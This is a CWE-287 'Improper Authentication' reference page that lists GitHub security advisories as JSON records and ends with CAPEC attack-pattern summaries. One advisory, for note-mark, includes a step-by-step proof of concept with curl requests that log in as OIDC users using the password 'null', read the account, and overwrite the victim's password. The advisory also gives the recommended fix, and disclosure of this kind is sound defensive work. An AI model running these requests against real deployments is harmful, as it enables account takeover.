CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5978 vulnerabilities reference this CWE, most recent first.
GHSA-PWXQ-7MCJ-42PJ
Vulnerability from github – Published: 2024-07-02 21:32 – Updated: 2024-07-02 21:32Improper authentication in BLE prior to SMR Jul-2024 Release 1 allows adjacent attackers to pair with devices.
{
"affected": [],
"aliases": [
"CVE-2024-20889"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-02T10:15:03Z",
"severity": "MODERATE"
},
"details": "Improper authentication in BLE prior to SMR Jul-2024 Release 1 allows adjacent attackers to pair with devices.",
"id": "GHSA-pwxq-7mcj-42pj",
"modified": "2024-07-02T21:32:12Z",
"published": "2024-07-02T21:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20889"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2024\u0026month=07"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PX38-8QPQ-6GCQ
Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2024-04-04 05:45Teltonika’s Remote Management System versions 4.14.0 is vulnerable to an unauthorized attacker registering previously unregistered devices through the RMS platform. If the user has not disabled the "RMS management feature" enabled by default, then an attacker could register that device to themselves. This could enable the attacker to perform different operations on the user's devices, including remote code execution with 'root' privileges (using the 'Task Manager' feature on RMS).
{
"affected": [],
"aliases": [
"CVE-2023-2586"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-22T16:15:09Z",
"severity": "CRITICAL"
},
"details": "\nTeltonika\u2019s Remote Management System versions 4.14.0 is vulnerable to an unauthorized attacker registering previously unregistered devices through the RMS platform. If the user has not disabled the \"RMS management feature\" enabled by default, then an attacker could register that device to themselves. This could enable the attacker to perform different operations on the user\u0027s devices, including remote code execution with \u0027root\u0027 privileges (using the \u0027Task Manager\u0027 feature on RMS).\n\n",
"id": "GHSA-px38-8qpq-6gcq",
"modified": "2024-04-04T05:45:24Z",
"published": "2023-07-06T21:14:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2586"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-131-08"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PXF8-6WQM-R6HH
Vulnerability from github – Published: 2026-04-25 23:40 – Updated: 2026-05-07 20:20Summary
IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.
Details
backend/db/models.go:36 defines the placeholder hash used by the timing-attack mitigation inside IsPasswordMatch:
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost)
IsPasswordMatch (backend/db/models.go:46-58) substitutes that placeholder when the stored password is empty:
func (u *User) IsPasswordMatch(plainPassword string) bool {
var current []byte
if len(u.Password) == 0 {
// prevent CWE-208
current = nullPasswordHash
} else {
current = u.Password
}
if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {
return true
}
return false
}
OIDC-registered users are stored with an empty password at backend/services/auth.go:102-115:
return db.DB.Transaction(func(tx *gorm.DB) error {
user := db.User{
Username: username,
Password: []byte(""),
}
// ...
})
The internal login endpoint (POST /api/auth/token, handled at backend/services/auth.go:20-54) calls IsPasswordMatch with the caller-supplied password. For any OIDC-only user, bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null")) returns nil, the function returns true, and the server issues a Auth-Session-Token cookie.
EnableInternalLogin defaults to true, and GET /api/info discloses both OIDC configuration and internal-login status. enableAnonymousUserSearch also defaults to true, so an unauthenticated caller enumerates usernames via GET /api/users/search before touching the login endpoint.
Once the session is issued, PUT /api/users/me/password accepts existingPassword: "null" because the same IsPasswordMatch routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.
Proof of Concept
Tested against note-mark v0.19.2.
Step 1: Start note-mark pointed at any OIDC provider and set OIDC__ENABLE_USER_CREATION=true. The defaults for ENABLE_INTERNAL_LOGIN and ENABLE_ANONYMOUS_USER_SEARCH do not need to be changed.
docker run -d --name note-mark-poc \
-e OIDC__PROVIDER_NAME=example \
-e OIDC__CLIENT_ID=note-mark \
-e OIDC__CLIENT_SECRET=secret \
-e OIDC__ISSUER_URL=https://your-oidc-provider/ \
-e OIDC__ENABLE_USER_CREATION=true \
-p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2
Step 2: Alice registers via the OIDC flow. TryCreateNewOidcUser stores her row with Password = []byte("").
Step 3: Bob confirms the preconditions.
curl -s http://localhost:8088/api/info
# {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...}
Step 4: Bob logs in as Alice via the internal endpoint.
curl -i -X POST http://localhost:8088/api/auth/token \
-H 'Content-Type: application/json' \
-d '{"grant_type":"password","username":"alice","password":"null"}'
Response:
HTTP/1.1 204 No Content
Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict
Step 5: Bob uses the cookie to read Alice's account.
curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
# {"id":"...","username":"alice","name":"Alice"}
Step 6: Bob persists access by writing his own password onto Alice's row.
curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
http://localhost:8088/api/users/me/password \
-H 'Content-Type: application/json' \
-d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'
# HTTP/1.1 204 No Content
Alice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.
A companion script that drives all six steps ships at pocs/poc_014_null_password_bypass.sh.
Impact
Every OIDC-only user on a note-mark deployment with ENABLE_INTERNAL_LOGIN=true (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.
The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part.
Recommended Fix
The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in GetAccessToken:
// backend/services/auth.go:28
var user db.User
if err := db.DB.
First(&user, "username = ?", username).
Select("id", "password").Error; err != nil {
user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation
return core.AccessToken{}, InvalidCredentialsError
}
if len(user.Password) == 0 {
return core.AccessToken{}, InvalidCredentialsError
}
if !user.IsPasswordMatch(password) {
return core.AccessToken{}, InvalidCredentialsError
}
The equivalent change belongs in UpdateUserPassword at backend/services/users.go:53-61, since the same routine verifies existingPassword during the persistence step.
Replacing nullPasswordHash with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret:
// backend/db/models.go:36
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost)
The explicit empty-password check is preferable because the intent is readable in the source.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/enchant97/note-mark/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260417132909-dea5530cc989"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41571"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:40:19Z",
"nvd_published_at": "2026-05-04T18:16:29Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`IsPasswordMatch` in `backend/db/models.go` falls back to a hard-coded `bcrypt(\"null\")` placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits `password: \"null\"` to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.\n\n## Details\n\n`backend/db/models.go:36` defines the placeholder hash used by the timing-attack mitigation inside `IsPasswordMatch`:\n\n```go\nvar nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(\"null\"), bcrypt.DefaultCost)\n```\n\n`IsPasswordMatch` (`backend/db/models.go:46-58`) substitutes that placeholder when the stored password is empty:\n\n```go\nfunc (u *User) IsPasswordMatch(plainPassword string) bool {\n var current []byte\n if len(u.Password) == 0 {\n // prevent CWE-208\n current = nullPasswordHash\n } else {\n current = u.Password\n }\n if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {\n return true\n }\n return false\n}\n```\n\nOIDC-registered users are stored with an empty password at `backend/services/auth.go:102-115`:\n\n```go\nreturn db.DB.Transaction(func(tx *gorm.DB) error {\n user := db.User{\n Username: username,\n Password: []byte(\"\"),\n }\n // ...\n})\n```\n\nThe internal login endpoint (`POST /api/auth/token`, handled at `backend/services/auth.go:20-54`) calls `IsPasswordMatch` with the caller-supplied password. For any OIDC-only user, `bcrypt.CompareHashAndPassword(nullPasswordHash, []byte(\"null\"))` returns nil, the function returns true, and the server issues a `Auth-Session-Token` cookie.\n\n`EnableInternalLogin` defaults to `true`, and `GET /api/info` discloses both OIDC configuration and internal-login status. `enableAnonymousUserSearch` also defaults to `true`, so an unauthenticated caller enumerates usernames via `GET /api/users/search` before touching the login endpoint.\n\nOnce the session is issued, `PUT /api/users/me/password` accepts `existingPassword: \"null\"` because the same `IsPasswordMatch` routine verifies the existing password. The caller writes a new password onto the OIDC user\u0027s row, which locks the legitimate OIDC user out on the next internal-login path.\n\n## Proof of Concept\n\nTested against `note-mark` v0.19.2.\n\nStep 1: Start note-mark pointed at any OIDC provider and set `OIDC__ENABLE_USER_CREATION=true`. The defaults for `ENABLE_INTERNAL_LOGIN` and `ENABLE_ANONYMOUS_USER_SEARCH` do not need to be changed.\n\n```bash\ndocker run -d --name note-mark-poc \\\n -e OIDC__PROVIDER_NAME=example \\\n -e OIDC__CLIENT_ID=note-mark \\\n -e OIDC__CLIENT_SECRET=secret \\\n -e OIDC__ISSUER_URL=https://your-oidc-provider/ \\\n -e OIDC__ENABLE_USER_CREATION=true \\\n -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2\n```\n\nStep 2: Alice registers via the OIDC flow. `TryCreateNewOidcUser` stores her row with `Password = []byte(\"\")`.\n\nStep 3: Bob confirms the preconditions.\n\n```bash\ncurl -s http://localhost:8088/api/info\n# {\"allowInternalLogin\":true,\"oidcProvider\":\"example\",\"enableAnonymousUserSearch\":true,...}\n```\n\nStep 4: Bob logs in as Alice via the internal endpoint.\n\n```bash\ncurl -i -X POST http://localhost:8088/api/auth/token \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"grant_type\":\"password\",\"username\":\"alice\",\"password\":\"null\"}\u0027\n```\n\nResponse:\n\n```\nHTTP/1.1 204 No Content\nSet-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict\n```\n\nStep 5: Bob uses the cookie to read Alice\u0027s account.\n\n```bash\ncurl -b \u0027Auth-Session-Token=eyJ...\u0027 http://localhost:8088/api/users/me\n# {\"id\":\"...\",\"username\":\"alice\",\"name\":\"Alice\"}\n```\n\nStep 6: Bob persists access by writing his own password onto Alice\u0027s row.\n\n```bash\ncurl -i -b \u0027Auth-Session-Token=eyJ...\u0027 -X PUT \\\n http://localhost:8088/api/users/me/password \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"existingPassword\":\"null\",\"newPassword\":\"bob-owns-this-now\"}\u0027\n# HTTP/1.1 204 No Content\n```\n\nAlice\u0027s next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.\n\nA companion script that drives all six steps ships at `pocs/poc_014_null_password_bypass.sh`.\n\n## Impact\n\nEvery OIDC-only user on a note-mark deployment with `ENABLE_INTERNAL_LOGIN=true` (the default) is one HTTP request from takeover. Bob reads Alice\u0027s private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.\n\nThe default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator\u0027s part.\n\n## Recommended Fix\n\nThe clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in `GetAccessToken`:\n\n```go\n// backend/services/auth.go:28\nvar user db.User\nif err := db.DB.\n First(\u0026user, \"username = ?\", username).\n Select(\"id\", \"password\").Error; err != nil {\n user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation\n return core.AccessToken{}, InvalidCredentialsError\n}\n\nif len(user.Password) == 0 {\n return core.AccessToken{}, InvalidCredentialsError\n}\n\nif !user.IsPasswordMatch(password) {\n return core.AccessToken{}, InvalidCredentialsError\n}\n```\n\nThe equivalent change belongs in `UpdateUserPassword` at `backend/services/users.go:53-61`, since the same routine verifies `existingPassword` during the persistence step.\n\nReplacing `nullPasswordHash` with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret:\n\n```go\n// backend/db/models.go:36\nvar nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost)\n```\n\nThe explicit empty-password check is preferable because the intent is readable in the source.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-pxf8-6wqm-r6hh",
"modified": "2026-05-07T20:20:12Z",
"published": "2026-04-25T23:40:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-pxf8-6wqm-r6hh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41571"
},
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/commit/dea5530cc9891187b51548ef9f2868b7dc9f4e92"
},
{
"type": "PACKAGE",
"url": "https://github.com/enchant97/note-mark"
},
{
"type": "WEB",
"url": "https://github.com/enchant97/note-mark/releases/tag/v0.19.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Note Mark: OIDC-registered users authenticated by submitting password \"null\""
}
GHSA-PXR2-923F-CHW6
Vulnerability from github – Published: 2025-05-06 18:30 – Updated: 2025-05-06 18:30Dell Storage Center - Dell Storage Manager, version(s) 20.1.20, contain(s) an Improper Authentication vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Elevation of privileges.
{
"affected": [],
"aliases": [
"CVE-2025-22477"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-06T16:15:27Z",
"severity": "HIGH"
},
"details": "Dell Storage Center - Dell Storage Manager, version(s) 20.1.20, contain(s) an Improper Authentication vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Elevation of privileges.",
"id": "GHSA-pxr2-923f-chw6",
"modified": "2025-05-06T18:30:37Z",
"published": "2025-05-06T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22477"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000317318/dsa-2025-191-security-update-for-storage-center-dell-storage-manager-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-PXV5-5VMP-3JJ4
Vulnerability from github – Published: 2022-05-17 02:54 – Updated: 2022-07-08 19:10The RPC protocol implementation in Apache Hadoop 2.x before 2.0.6-alpha, 0.23.x before 0.23.9, and 1.x before 1.2.1, when the Kerberos security features are enabled, allows man-in-the-middle attackers to disable bidirectional authentication and obtain sensitive information by forcing a downgrade to simple authentication.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.5-alpha"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.hadoop:hadoop-common"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.6-alpha"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.hadoop:hadoop-common"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2013-2192"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-08T19:10:34Z",
"nvd_published_at": "2014-01-24T18:55:00Z",
"severity": "LOW"
},
"details": "The RPC protocol implementation in Apache Hadoop 2.x before 2.0.6-alpha, 0.23.x before 0.23.9, and 1.x before 1.2.1, when the Kerberos security features are enabled, allows man-in-the-middle attackers to disable bidirectional authentication and obtain sensitive information by forcing a downgrade to simple authentication.",
"id": "GHSA-pxv5-5vmp-3jj4",
"modified": "2022-07-08T19:10:34Z",
"published": "2022-05-17T02:54:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2192"
},
{
"type": "WEB",
"url": "https://www.cloudera.com/documentation/other/security-bulletins/topics/csb_topic_1.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2014-0037.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2014-0400.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2013/Aug/251"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Improper Authentication in Apache Hadoop"
}
GHSA-PXXG-W7CJ-99FP
Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2022-05-24 17:35OpenClinic version 0.8.2 is affected by a missing authentication vulnerability that allows unauthenticated users to access any patient's medical test results, possibly resulting in disclosure of Protected Health Information (PHI) stored in the application, via a direct request for the /tests/ URI.
{
"affected": [],
"aliases": [
"CVE-2020-28937"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-03T16:15:00Z",
"severity": "HIGH"
},
"details": "OpenClinic version 0.8.2 is affected by a missing authentication vulnerability that allows unauthenticated users to access any patient\u0027s medical test results, possibly resulting in disclosure of Protected Health Information (PHI) stored in the application, via a direct request for the /tests/ URI.",
"id": "GHSA-pxxg-w7cj-99fp",
"modified": "2022-05-24T17:35:14Z",
"published": "2022-05-24T17:35:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28937"
},
{
"type": "WEB",
"url": "https://labs.bishopfox.com/advisories/openclinic-version-0.8.2"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-PXXV-RJP8-CWH5
Vulnerability from github – Published: 2022-05-17 02:19 – Updated: 2022-05-17 02:19Session fixation vulnerability in Elxis CMS 2008.1 revision 2204 allows remote attackers to hijack web sessions by setting the PHPSESSID parameter.
{
"affected": [],
"aliases": [
"CVE-2008-4649"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-10-22T00:11:00Z",
"severity": "HIGH"
},
"details": "Session fixation vulnerability in Elxis CMS 2008.1 revision 2204 allows remote attackers to hijack web sessions by setting the PHPSESSID parameter.",
"id": "GHSA-pxxv-rjp8-cwh5",
"modified": "2022-05-17T02:19:25Z",
"published": "2022-05-17T02:19:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4649"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45868"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/0810-exploits/elxis-xss.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31764"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q23R-7GWJ-52CH
Vulnerability from github – Published: 2022-05-17 01:53 – Updated: 2022-05-17 01:53Cisco Firewall Services Module (aka FWSM) 3.1 before 3.1(21), 3.2 before 3.2(22), 4.0 before 4.0(16), and 4.1 before 4.1(7), when certain authentication configurations are used, allows remote attackers to cause a denial of service (module crash) by making many authentication requests for network access, aka Bug ID CSCtn15697.
{
"affected": [],
"aliases": [
"CVE-2011-3297"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-10-06T10:55:00Z",
"severity": "HIGH"
},
"details": "Cisco Firewall Services Module (aka FWSM) 3.1 before 3.1(21), 3.2 before 3.2(22), 4.0 before 4.0(16), and 4.1 before 4.1(7), when certain authentication configurations are used, allows remote attackers to cause a denial of service (module crash) by making many authentication requests for network access, aka Bug ID CSCtn15697.",
"id": "GHSA-q23r-7gwj-52ch",
"modified": "2022-05-17T01:53:47Z",
"published": "2022-05-17T01:53:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3297"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/70327"
},
{
"type": "WEB",
"url": "http://www.cisco.com/warp/public/707/cisco-sa-20111005-fwsm.shtml"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-Q24G-GCPV-7264
Vulnerability from github – Published: 2026-04-01 21:30 – Updated: 2026-04-02 18:31An issue was discovered in Mbed TLS 3.5.0 through 4.0.0. Client impersonation can occur while resuming a TLS 1.3 session.
{
"affected": [],
"aliases": [
"CVE-2026-34873"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-01T21:17:01Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Mbed TLS 3.5.0 through 4.0.0. Client impersonation can occur while resuming a TLS 1.3 session.",
"id": "GHSA-q24g-gcpv-7264",
"modified": "2026-04-02T18:31:37Z",
"published": "2026-04-01T21:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34873"
},
{
"type": "WEB",
"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories"
},
{
"type": "WEB",
"url": "https://mbed-tls.readthedocs.io/en/latest/security-advisories/mbedtls-security-advisory-2026-03-client-impersonation-while-resuming-tls13-session"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q24V-96M4-8QPJ
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44IBM Cognos Analytics 11.0 could allow a local user to change parameters set from the Cognos Analytics menus without proper authentication. IBM X-Force ID: 136857.
{
"affected": [],
"aliases": [
"CVE-2017-1783"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-29T16:29:00Z",
"severity": "MODERATE"
},
"details": "IBM Cognos Analytics 11.0 could allow a local user to change parameters set from the Cognos Analytics menus without proper authentication. IBM X-Force ID: 136857.",
"id": "GHSA-q24v-96m4-8qpj",
"modified": "2022-05-13T01:44:29Z",
"published": "2022-05-13T01:44:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1783"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/136857"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190329-0003"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190401-0003"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg22011561"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/102863"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1040299"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.